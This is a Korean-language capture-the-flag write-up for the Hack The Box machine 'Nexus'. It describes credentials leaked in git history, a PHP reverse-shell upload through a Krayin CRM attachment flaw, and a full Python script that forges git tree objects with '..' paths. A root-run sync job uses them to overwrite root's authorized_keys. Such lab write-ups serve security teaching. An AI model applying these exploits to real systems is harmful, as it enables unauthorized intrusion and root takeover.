HTB [Nexus]

Initial Scan

해당 VM에는 22, 80 포트에 각 ssh, http 서비스가 운영 중이다.

해당 IP에 접근해보면, Server Not Found 라는 문구와 함께 접근이 되지 않는다.

이 때 우리가 접근한 VM IP가 아닌 nexus.htb에 접속하지 못했다고 나오는데, 이를 통해 우리는 VM IP가 아닌 nexus.htb로 접근해야 함을 알 수 있다.

주소창을 보면 nexus.htb로 접근했으니, 추가적인 작업이 필요함을 명시한다.

추가 작업

VM IP = 10.129.51.114

접근해야 하는 주소 = nexus.htb

이렇게 미스매치가 있으므로, 이를 같게 만들어주면 될 것이다.

해당 기능을 수행하는 것은 현재 환경(WSL Ubuntu 24.04 LTS)에서는 /etc/hosts 파일이 담당한다.

따라서, /etc/hosts 파일에 10.129.51.114 nexus.htb 를 추가하여 nexus.htb = 10.129.51.114 를 인식시킨다.

수정 후에 재접속하면 Nexus Energy Authority 라는 기업의 페이지로 보이는 화면이 출력된다.

첫 번째로 hiring manager의 e-mail(j.matthew@nexus.htb)과 지원 접수 e-mail(careers@nexus.htb)를 획득했다.

현재 페이지에서 접근 가능한 추가 페이지가 존재하지 않으므로, 추가 정보 획득을 위해 subdomain이 존재하는지 Fuzzing을 통해 확인해보았다.

ffuf 를 이용해 nexus.htb에서 billing.nexus.htb와 git.nexus.htb를 찾았다.

따라서 /etc/hosts 파일에 billing.nexus.htb와 git.nexus.htb를 추가해서 접속해보았다.

Gitea 라는 서비스가 작동 중이었고, 여러 메뉴들이 존재하는 것을 확인할 수 있다.

Explore 메뉴에 들어가니, 하나의 Git Repository가 존재하였고, .env, docker-compose.yml, documents 세 가지 파일이 존재한다.

.env 파일 내에 중요 정보로 보이는 키 값이 존재하나, 값이 비워져 있다.

Repository를 내려받아서, 커밋 내용을 뜯어보았다.

두 개의 커밋이 존재하며, 커밋 메세지는 Upload files to “/”로 무언가 파일을 업로드한 것으로 보인다.

혹시 이전 커밋에 .env 내용이 쓰여있을까 하여 찾아보았다.

DB_PASSWORD가 이전 commit에 존재했다.

초기 스캔 때 Database 접근이 가능하진 않았으니, 또 다른 페이지였던 billing.nexus.htb 에 접속해보았다.

nexus.htb 에 접속해 얻었던 j.matthew@nexus.htb 계정에 이전 과정에서 얻었던 password를 통해 접속에 성공했다.

검색창이 있는 것과 My Account 메뉴를 통해 사진 업로드하는 기능이 구현되어 있다.

해당 검색창이 GET 방식으로 데이터 전송이 된다면 SQL Injection이 가능할 것이고, 사진 업로드란을 통해선 File Upload Vulnerable가 가능할 듯하다.

업로드란에는 .png .jpg 파일만이 업로드 되므로 일단 넘어가고, .php 형태와 같은 실행파일이 업로드 가능한 환경을 찾아야 한다.

메일 작성에 첨부파일이 탑재되는 것을 확인할 수 있었고, 서버에 Exploit 관련 파일을 업로드한 뒤 실행시키면 될 듯하다.

페이지 좌측 상단에 지속적으로 노출되는 Krayin에 대해 검색해보니, Krayin CRM(현 시스템과 동일)이라는 Opensource Software가 검색되었다.

버전는 2.2.0으로, 이에 해당하는 취약점이 존재하는지 찾아보았다.

CVE-2026-38526에 의해 PHP 파일에 대한 파일 업로드 취약점이 존재하는 것을 확인하였다.

사용된 파일

pentestmonkey의 php-reverse-shell을 이용해 파일 업로드 취약점을 악용해보면 될 듯하다.

이전 초기 페이지에서 얻었던 careers@nexus.htb 에 파일을 전송함으로써, 서버에 파일을 업로드해보았다.

업로드한 파일이 저장되는 위치를 찾기 위해 Burp Suite를 이용하여 패킷을 캡처한 뒤 확인하였다.

전송한 Reverse Shell PHP 파일은 http://billing.nexus.htb/storage/emails/8/PHP-reverse-shell.php 로 저장되었다.

nc를 통해 1234 포트에 대해 듣기를 열어두었고, 접근과 동시에 Reverse Shell이 실행되었다.

bash shell로 전환한 뒤, 웹서버 디렉토리인 krayin 으로 이동했다.

.env 파일이 보이고, 이전 .env 파일처럼 정보가 들어있을 것으로 예상된다.

새로운 PASSWORD를 획득했다.

해당 정보를 가지고 다양한 계정 중 SSH로 접근 가능한 계정에 로그인을 해야 한다.

하단에 jones와 mysql, git과 같은 접근 가능할 듯해보이는 계정들이 보인다.

그 중 획득한 정보를 통해 ssh로 접근 가능한 계정은 jones 계정이었고, DB_PASSWORD를 통해 로그인이 가능했다.

이제 Privilege Escalation을 통해 root 계정에 접근한 뒤, root.txt를 읽어야 한다.

지난 문제(HTB [Cap])처럼 jones 계정에는 sudo 권한이 없었다.

Linux Capability나 Permission이 주어진 바이너리를 통한 우회는 불가능했다.

linpeas를 통해 취약점 점검을 한 결과 privilege escalation 가능성이 존재하는 gitea-template-sync.timer 가 실행 중이었다.

/etc/gitea/template-sync.py 파일이 주기적으로 실행되는 파일이며, 해당 파일의 로직을 파악하면 권한 상승에 대한 실마리를 찾을 수 있을 것이다.

import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def log(msg):
    ts = time.strftime("%Y-%m-%d %H:%M:%S")
    line = "[%s] %s" % (ts, msg)
    print(line, flush=True)
    try:
        os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
        with open(LOG_FILE, 'a') as f:
            f.write(line + '\n')
    except:
        pass

def load_config():
    config = {}
    for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
        try:
            with open(path) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#') and '=' in line:
                        k, v = line.split('=', 1)
                        config[k.strip()] = v.strip()
        except:
            pass
    return config

def get_token():
    cfg = load_config()
    return cfg.get('GITEA_API_TOKEN')

def get_template_repos(token):
    url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
    req = urllib.request.Request(url, headers={
        'Authorization': 'token %s' % token
    })
    try:
        with urllib.request.urlopen(req) as resp:
            data = json.loads(resp.read())
            repos = data.get('data', data) if isinstance(data, dict) else data
            return [r for r in repos if r.get('template', False)]
    except Exception as e:
        log("API error: %s" % e)
        return []

def sync_template(repo_info):
    owner = repo_info['owner']['login']
	    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)

    if not os.path.isdir(bare_path):
        log("  repo not found: %s" % bare_path)
        return

    # Read tree entries from the bare repository
    try:
        GIT = ['git', '-c', 'safe.directory=*']
        result = subprocess.run(
            GIT + ['ls-tree', '-r', 'HEAD'],
            cwd=bare_path,
            capture_output=True, text=True, timeout=10
        )
        if result.returncode != 0:
            log("  ls-tree failed: %s" % result.stderr.strip())
            return
    except Exception as e:
        log("  ls-tree error: %s" % e)
        return

    entries = []
    for line in result.stdout.strip().split('\n'):
        if not line:
            continue
        parts = line.split('\t', 1)
        if len(parts) != 2:
            continue
        meta, filepath = parts
        mode, objtype, objhash = meta.split()
        if objtype == 'blob':
            entries.append((mode, objhash, filepath))

    if not entries:
        log("  no files in template")
        return

    # Extract files to staging directory
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

        try:
            os.makedirs(target_dir, exist_ok=True)
            GIT = ['git', '-c', 'safe.directory=*']
            cat_result = subprocess.run(
                GIT + ['cat-file', 'blob', objhash],
                cwd=bare_path,
                capture_output=True, timeout=10
            )
            if cat_result.returncode != 0:
                continue

            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

            if mode == '100755':
                os.chmod(target, 0o755)
            else:
                os.chmod(target, 0o644)

            log("  synced: %s" % filepath)
        except Exception as e:
            log("  error syncing %s: %s" % (filepath, e))

def main():
    log("Template sync starting")

    token = get_token()
    if not token:
        log("No API token found")
        sys.exit(1)

    templates = get_template_repos(token)
    log("Found %d template repo(s)" % len(templates))

    for repo in templates:
        name = repo['full_name']
        log("Syncing template: %s" % name)
        sync_template(repo)

    log("Template sync complete")

if __name__ == '__main__':
    main()

sync_template() 함수에서 Repository 내 파일 구조에 따라 파일을 읽어오는데, 재검증 로직이 없어 ../../../../ ... / 이런 방식으로 상위 디렉토리 접근이 가능하다.

About Exploit Code
git

일반적인 git add ../../../x 는 git이 거부하므로 .. 를 포함한 경로는 정상 커밋으로 만들 수 없다. 그래서 뒤의 build.py 처럼 트리 오브젝트(tree object)를 직접 저수준으로 조립해 .. 를 트리 엔트리 이름으로 심는다. ls-tree -r 이 이 트리를 순회하면 경로를 ../../../../root/.ssh/authorized_keys 로 재조립해 출력한다.

python

스크립트가 os.path.join(stage_path, filepath) 로 그 출력을 검증 없이 이어붙인다. os.path.join 은 .. 를 정규화하지 않으므로 스테이징 디렉토리를 벗어난다. 여기가 실제 CWE-22 지점이다.

즉 "재검증 로직 부재"는 python 계층의 문제이고, 이를 실제로 트리거하려면 git이 .. 경로를 보존하도록 트리를 수동 조작하는 트릭이 반드시 선행되어야 한다. safe.directory=* 설정은 소유권 검사까지 우회시켜 서버 측 git 실행이 막힘없이 되도록 돕는다.

전제 조건: repo를 template로 설정 get_template_repos() 가 r.get('template', False) 로 필터링하므로, 생성한 RCE repo를 Gitea에서 template repository로 지정해야 sync 대상에 포함된다. 지정하지 않으면 Found 0 template repo(s) 로 끝나 타이머가 돌아도 아무 일도 일어나지 않는다.

저장소를 생성하고, 내려받았다.

RCE 코드와 관련되어서는 Official Write-up을 참고했다.

# build.py
#!/usr/bin/env python3
import hashlib,zlib,os,subprocess,sys,time
def write_obj(data,t):
	h=("%s %d"%(t,len(data))).encode()+b"\x00"
	s=h+data
	sha=hashlib.sha1(s).hexdigest()
	d=os.path.join(".git","objects",sha[:2])
	os.makedirs(d,exist_ok=True)
	p=os.path.join(d,sha[2:])
	if not os.path.exists(p):
		open(p,"wb").write(zlib.compress(s))
	return sha
def entry(mode,name,sha):
	return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)
if not os.path.isdir(".git"):
	print("Run inside git repo");sys.exit(1)
r=subprocess.run(["cat","/tmp/.k.pub"],capture_output=True,text=True)
if r.returncode!=0:
	print("ssh-keygen -t ed25519 -f /tmp/.k -N ''");sys.exit(1)
key=r.stdout.strip()+"\n"
blob=write_obj(key.encode(),"blob")
readme=write_obj(b"# Template\n","blob")
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")
fir=write_obj(entry("40000","root",cur),"tree")
for i in range(4):
	fir=write_obj(entry("40000","..",fir),"tree")
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")
ts=int(time.time())
c="tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(root,ts,ts)
sha=write_obj(c.encode(),"commit")
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)

코드를 이용해서 root 계정의 authorized_key를 덮어씀으로써 계정에 로그인할 것이다.

그러기 위해서는 현재 계정을 가지고 공개키를 생성한 뒤, 해당 값을 가지고 만들어야 하므로, ssh-keygen 바이너리를 통해 키를 생성해야 한다.

그 다음 exploit code를 실행하여 원하는 작업을 완료한다.

template-sync.py에 의해 sshkeygen을 통해 생성한 공개키가 root 계정의 공개키를 덮어썼다.

ssh -i /tmp/.k root@localhost
← 목록으로